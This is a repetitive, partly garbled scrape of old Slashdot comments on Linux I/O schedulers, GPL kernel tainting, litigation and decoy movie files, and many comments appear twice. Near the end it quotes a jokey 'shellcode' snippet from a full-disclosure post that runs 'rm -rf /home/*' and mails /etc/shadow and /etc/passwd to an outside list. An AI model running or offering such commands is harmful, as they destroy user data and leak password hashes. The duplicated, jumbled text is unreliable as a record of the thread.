The anticipatory I/O scheduler is the default disk scheduler. It is generally a good choice for most environments, but is quite large and complex when compared to the deadline I/O scheduler, it can also be slower in some cases especially some database loads.*
Anticipatory is also preselected with a fresh.config
I guess they could just release everything as is with the GPL intact, since the pressrelease claims the lawsuit is nearing the end and they probably know they will lose. They could also, in theory, strip out disputed code.. but I doubt they will. And the suicide option to close the code also exist i guess. The last option might not be that far fetched, since their entire buisiness has been located in the courtroom these last couple of years.
I really like their disclaimer where they, if they so choose, say it's all the communitys fault if they fail with their "new" endeavour.
Tainting the kernel makes it non-compatible with the gpl. This is not normally a problem on your home-system, but if you redistribute the tainted kernel you violate the gpl. Whats the big deal? just remove the evil binary-only drivers and all is well.
No. You probably refer to Patrick Volkerdi, the author and maintainer of Slackware. And he did not ask for help on slashdot, he asked for help in the slackware-changelog, which was later posted on slashdot.
I've been thinking about this for a while now, and prehaps someone has already done it. I wonder what would happen if one was to set up, say a httpd offering files with names such as "mof-sith1.avi", "mof-sith2.avi" (star wars ep3) etc. Also, filesizes should be appropriate.
Now, these files would be generated with dd and contain random crap - nothing that would violate anyones copyright.
Im just curious what would happen: 1) Nothing, apart from angry emails from ppl who wasted a couple of hours downloading crap.
2) Would my ISP kill my connection, eventhough ive done nothing wrong?
3) Would MPAA send me angry emails threatening to rape me, myself and cowboyneal in court?
4) Something else.
Id do this myself, but i really like my cheap 10mbit connection:/
Slashdot Mirror
well, not in my 2.6.20-rc7 default config.
Anticipatory is, according to my menuconfig:
.config
The anticipatory I/O scheduler is the default disk scheduler. It is
generally a good choice for most environments, but is quite large and
complex when compared to the deadline I/O scheduler, it can also be
slower in some cases especially some database loads.*
Anticipatory is also preselected with a fresh
libtorrent with the rtorrent front-end. http://libtorrent.rakshasa.no/
tar.
The display seems to change with caps. Change with CTRL/ALT would seem natural.
It's Eben Moglen.
Especially since most geeks know "NTP" as "network time protocol"
I dont use Windows.
Obviously you have no idea what freedb does nor it's purpose.
Without the CD, the service is/was completely useless.
the firefox sourcecode is 209mb. Also, it takes longer to compile than anything else on my system except glibc.
I guess they could just release everything as is with the GPL intact, since the pressrelease claims the lawsuit is nearing the end and they probably know they will lose.
They could also, in theory, strip out disputed code.. but I doubt they will.
And the suicide option to close the code also exist i guess. The last option might not be that far fetched, since their entire buisiness has been located in the courtroom these last couple of years.
I really like their disclaimer where they, if they so choose, say it's all the communitys fault if they fail with their "new" endeavour.
http://pics.obra.se/homo.gif
Tainting the kernel makes it non-compatible with the gpl. This is not normally a problem on your home-system, but if you redistribute the tainted kernel you violate the gpl. Whats the big deal? just remove the evil binary-only drivers and all is well.
or perhaps im wrong, what do I know, anyway?
No. You probably refer to Patrick Volkerdi, the author and maintainer of Slackware.
And he did not ask for help on slashdot, he asked for help in the slackware-changelog, which was later posted on slashdot.
.. and watch how python eats up all your ram and cpu
http://openbsd.org/donations.html - quite painless.
wow, what a troll.
There are patches available at http://www.trl.ibm.com/projects/security/ssp/ for 3.4.4 and 2.95.3
Heh, was just about to say the same thing. Some companies should just shut up about what they are up to.
I've been thinking about this for a while now, and prehaps someone has already done it. I wonder what would happen if one was to set up, say a httpd offering files with names such as "mof-sith1.avi", "mof-sith2.avi" (star wars ep3) etc. Also, filesizes should be appropriate.
:/
Now, these files would be generated with dd and contain random crap - nothing that would violate anyones copyright.
Im just curious what would happen:
1) Nothing, apart from angry emails from ppl who wasted a couple of hours downloading crap.
2) Would my ISP kill my connection, eventhough ive done nothing wrong?
3) Would MPAA send me angry emails threatening to rape me, myself and cowboyneal in court?
4) Something else.
Id do this myself, but i really like my cheap 10mbit connection
I get _TONS_ of logs from various ssh-worms roaming around these days.
From: James Longstreet
/home/*;clear;echo bl4ckh4t,hehe" /etc/shadow |mail full-disclosure@lists.grok.org.uk " /etc/passwd |mail full-disclosure@lists.grok.org.uk "
Date: Apr 20 2005
Cute.
shellcode = "/bin/rm -rf
launcher = "cat
netcat_shell = "cat
http://static.thepiratebay.org/legal/
And thanks to slashdot, they are still censored.
..but does msh run under linux?